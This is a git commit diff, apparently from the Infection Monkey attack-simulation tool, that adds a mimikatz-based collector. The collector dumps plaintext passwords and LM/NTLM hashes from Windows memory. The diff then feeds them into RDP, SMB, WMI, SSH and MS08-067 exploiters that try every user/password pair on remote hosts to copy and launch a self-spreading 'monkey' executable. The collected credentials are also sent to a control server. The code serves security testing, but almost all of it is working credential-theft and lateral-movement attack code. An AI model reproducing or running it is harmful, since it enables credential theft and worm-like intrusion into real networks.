Add mimikatz collector

Combine all users and passwords in config
This commit is contained in:
Itay Mizeretz 2017-08-16 15:14:26 +03:00
parent 5e04cc825c
commit a671b55df3
10 changed files with 163 additions and 57 deletions

View File

@ -204,17 +204,13 @@ class Configuration(object):
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
ms08_067_remote_user_pass = "Password1!" ms08_067_remote_user_pass = "Password1!"
# psexec exploiter
psexec_user = "Administrator"
psexec_passwords = ["Password1!", "1234", "password", "12345678"]
# ssh exploiter
ssh_users = ["root", 'user']
ssh_passwords = ["Password1!", "1234", "password", "12345678"]
# rdp exploiter # rdp exploiter
rdp_use_vbs_download = True rdp_use_vbs_download = True
# User and password dictionaries for exploits.
exploit_user_list = ['Administrator', 'root', 'user']
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
# smb/wmi exploiter # smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey" smb_service_name = "InfectionMonkey"
@ -223,4 +219,10 @@ class Configuration(object):
collect_system_info = True collect_system_info = True
###########################
# systeminfo config
###########################
mimikatz_dll_name = "mk.dll"
WormConfiguration = Configuration() WormConfiguration = Configuration()

View File

@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter):
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
passwords = list(self._config.psexec_passwords[:]) config_users = self._config.exploit_user_list
known_password = host.get_credentials(self._config.psexec_user) config_passwords = self._config.exploit_password_list
if known_password is not None: user_password_pairs = []
if known_password in passwords: for user in config_users:
passwords.remove(known_password) for password in config_passwords:
passwords.insert(0, known_password) user_password_pairs.append((user, password))
if not g_reactor.is_alive(): if not g_reactor.is_alive():
g_reactor.daemon = True g_reactor.daemon = True
g_reactor.start() g_reactor.start()
exploited = False exploited = False
for password in passwords: for user, password in user_password_pairs:
try: try:
# run command using rdp. # run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
host, self._config.psexec_user, password) host, user, password)
LOG.info("RDP connected to %r", host) LOG.info("RDP connected to %r", host)
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter):
if client_factory.success: if client_factory.success:
exploited = True exploited = True
host.learn_credentials(self._config.psexec_user, password) host.learn_credentials(user, password)
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password) report_failed_login(self, host, user, password)
except Exception, exc: except Exception, exc:
LOG.debug("Error logging into victim %r with user" LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host, " %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc) user, password, exc)
continue continue
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)

View File

@ -64,19 +64,19 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", host)
return False return False
passwords = list(self._config.psexec_passwords[:]) config_users = self._config.exploit_user_list
known_password = host.get_credentials(self._config.psexec_user) config_passwords = self._config.exploit_password_list
if known_password is not None: user_password_pairs = []
if known_password in passwords: for user in config_users:
passwords.remove(known_password) for password in config_passwords:
passwords.insert(0, known_password) user_password_pairs.append((user, password))
exploited = False exploited = False
for password in passwords: for user, password in user_password_pairs:
try: try:
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user, user,
password, password,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
@ -84,18 +84,18 @@ class SmbExploiter(HostExploiter):
if remote_full_path is not None: if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)", LOG.debug("Successfully logged in %r using SMB (%s : %s)",
host, self._config.psexec_user, password) host, user, password)
host.learn_credentials(self._config.psexec_user, password) host.learn_credentials(user, password)
exploited = True exploited = True
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password) report_failed_login(self, host, user, password)
except Exception, exc: except Exception, exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user" LOG.debug("Exception when trying to copy file using SMB to %r with user"
" %s and password '%s': (%s)", host, " %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc) user, password, exc)
continue continue
if not exploited: if not exploited:
@ -118,7 +118,7 @@ class SmbExploiter(HostExploiter):
rpctransport.preferred_dialect(SMB_DIALECT) rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'): if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences. # This method exists only for selected protocol sequences.
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr, rpctransport.set_credentials(user, password, host.ip_addr,
"", "", None) "", "", None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

View File

@ -44,8 +44,8 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", host) LOG.info("SSH port is closed on %r, skipping", host)
return False return False
passwords = list(self._config.ssh_passwords[:]) passwords = list(self._config.exploit_password_list[:])
users = list(self._config.ssh_users) users = list(self._config.exploit_user_list)
known_passwords = [host.get_credentials(x) for x in users] known_passwords = [host.get_credentials(x) for x in users]
if len(known_passwords) > 0: if len(known_passwords) > 0:
for known_pass in known_passwords: for known_pass in known_passwords:

View File

@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter):
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
for password in self._config.psexec_passwords: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
"Administrator", "Administrator",
password, password,

View File

@ -29,14 +29,14 @@ class WmiExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", host)
return False return False
passwords = list(self._config.psexec_passwords[:]) config_users = self._config.exploit_user_list
known_password = host.get_credentials(self._config.psexec_user) config_passwords = self._config.exploit_password_list
if known_password is not None: user_password_pairs = []
if known_password in passwords: for user in config_users:
passwords.remove(known_password) for password in config_passwords:
passwords.insert(0, known_password) user_password_pairs.append((user, password))
for password in passwords: for user, password in user_password_pairs:
LOG.debug("Attempting to connect %r using WMI with password '%s'", LOG.debug("Attempting to connect %r using WMI with password '%s'",
host, password) host, password)
@ -44,27 +44,27 @@ class WmiExploiter(HostExploiter):
try: try:
wmi_connection.connect(host, wmi_connection.connect(host,
self._config.psexec_user, user,
password) password)
except AccessDeniedException: except AccessDeniedException:
LOG.debug("Failed connecting to %r using WMI with password '%s'", LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
host, password) host, user, password)
continue continue
except DCERPCException, exc: except DCERPCException, exc:
report_failed_login(self, host, self._config.psexec_user, password) report_failed_login(self, host, user, password)
LOG.debug("Failed connecting to %r using WMI with password '%s'", LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
host, password) host, user, password)
continue continue
except socket.error, exc: except socket.error, exc:
LOG.debug("Network error in WMI connection to %r with password '%s' (%s)", LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
host, password, exc) host, user, password, exc)
return False return False
except Exception, exc: except Exception, exc:
LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s", LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
host, password, exc, traceback.format_exc()) host, user, password, exc, traceback.format_exc())
return False return False
host.learn_credentials(self._config.psexec_user, password) host.learn_credentials(user, password)
# query process list and check if monkey already running on victim # query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process", process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
@ -78,7 +78,7 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user, user,
password, password,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,

View File

@ -88,10 +88,14 @@ class ChaosMonkey(object):
LOG.debug("default server: %s" % self._default_server) LOG.debug("default server: %s" % self._default_server)
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
additional_creds = {}
if WormConfiguration.collect_system_info: if WormConfiguration.collect_system_info:
LOG.debug("Calling system info collection") LOG.debug("Calling system info collection")
system_info_collector = SystemInfoCollector() system_info_collector = SystemInfoCollector()
system_info = system_info_collector.get_info() system_info = system_info_collector.get_info()
if system_info.has_key('credentials'):
additional_creds = system_info['credentials']
ControlClient.send_telemetry("system_info_collection", system_info) ControlClient.send_telemetry("system_info_collection", system_info)
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:
@ -101,10 +105,26 @@ class ChaosMonkey(object):
else: else:
LOG.debug("Running with depth: %d" % WormConfiguration.depth) LOG.debug("Running with depth: %d" % WormConfiguration.depth)
for _ in xrange(WormConfiguration.max_iterations): for _ in xrange(WormConfiguration.max_iterations):
ControlClient.keepalive() ControlClient.keepalive()
ControlClient.load_control_config() ControlClient.load_control_config()
# TODO: this is temporary until we change server to support changing of config.
for user in list(additional_creds):
if user not in WormConfiguration.exploit_user_list:
WormConfiguration.exploit_user_list.append(user)
for user, creds in additional_creds:
if creds.has_key('password'):
password = creds['password']
if password not in WormConfiguration.exploit_password_list:
WormConfiguration.exploit_password_list.append(password)
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
self._network.initialize() self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]

View File

@ -9,11 +9,15 @@ a = Analysis(['main.py'],
if platform.system().find("Windows")>= 0: if platform.system().find("Windows")>= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0] a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit":
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
else:
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
pyz = PYZ(a.pure) pyz = PYZ(a.pure)
exe = EXE(pyz, exe = EXE(pyz,
a.scripts, a.scripts,
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')], a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
a.zipfiles, a.zipfiles,
a.datas, a.datas,
name='monkey.exe', name='monkey.exe',

View File

@ -0,0 +1,78 @@
import ctypes
import binascii
import logging
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class MimikatzCollector:
"""
Password collection module for Windows using Mimikatz.
"""
def __init__(self):
try:
self._isInit = False
self._config = __import__('config').WormConfiguration
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
except StandardError as ex:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
"""
Gets the logon info from mimikatz.
Returns a dictionary of users with their known credentials.
"""
if not self._isInit:
return {}
try:
entry_count = self._collect()
logon_data_dictionary = {}
for i in range(entry_count):
entry = self._get()
username = entry.username
password = entry.password
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
has_password = (0 != len(password))
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
if not logon_data_dictionary.has_key(username):
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
if has_lm:
logon_data_dictionary[username]["lm_hash"] = lm_hash
if has_ntlm:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
except StandardError as ex:
LOG.exception("Error getting logon info")
return {}
class LogonData(ctypes.Structure):
"""
Logon data structure returned from mimikatz.
"""
_fields_ = \
[
("username", ctypes.c_wchar * 257),
("password", ctypes.c_wchar * 257),
("lm_hash", ctypes.c_byte * 16),
("ntlm_hash", ctypes.c_byte * 16)
]

View File

@ -1,5 +1,5 @@
from . import InfoCollector from . import InfoCollector
from mimikatz_collector import MimikatzCollector
__author__ = 'uri' __author__ = 'uri'
@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector):
def get_info(self): def get_info(self):
self.get_hostname() self.get_hostname()
self.get_process_list() self.get_process_list()
mimikatz_collector = MimikatzCollector()
self.info["credentials"] = mimikatz_collector.get_logon_info()
return self.info return self.info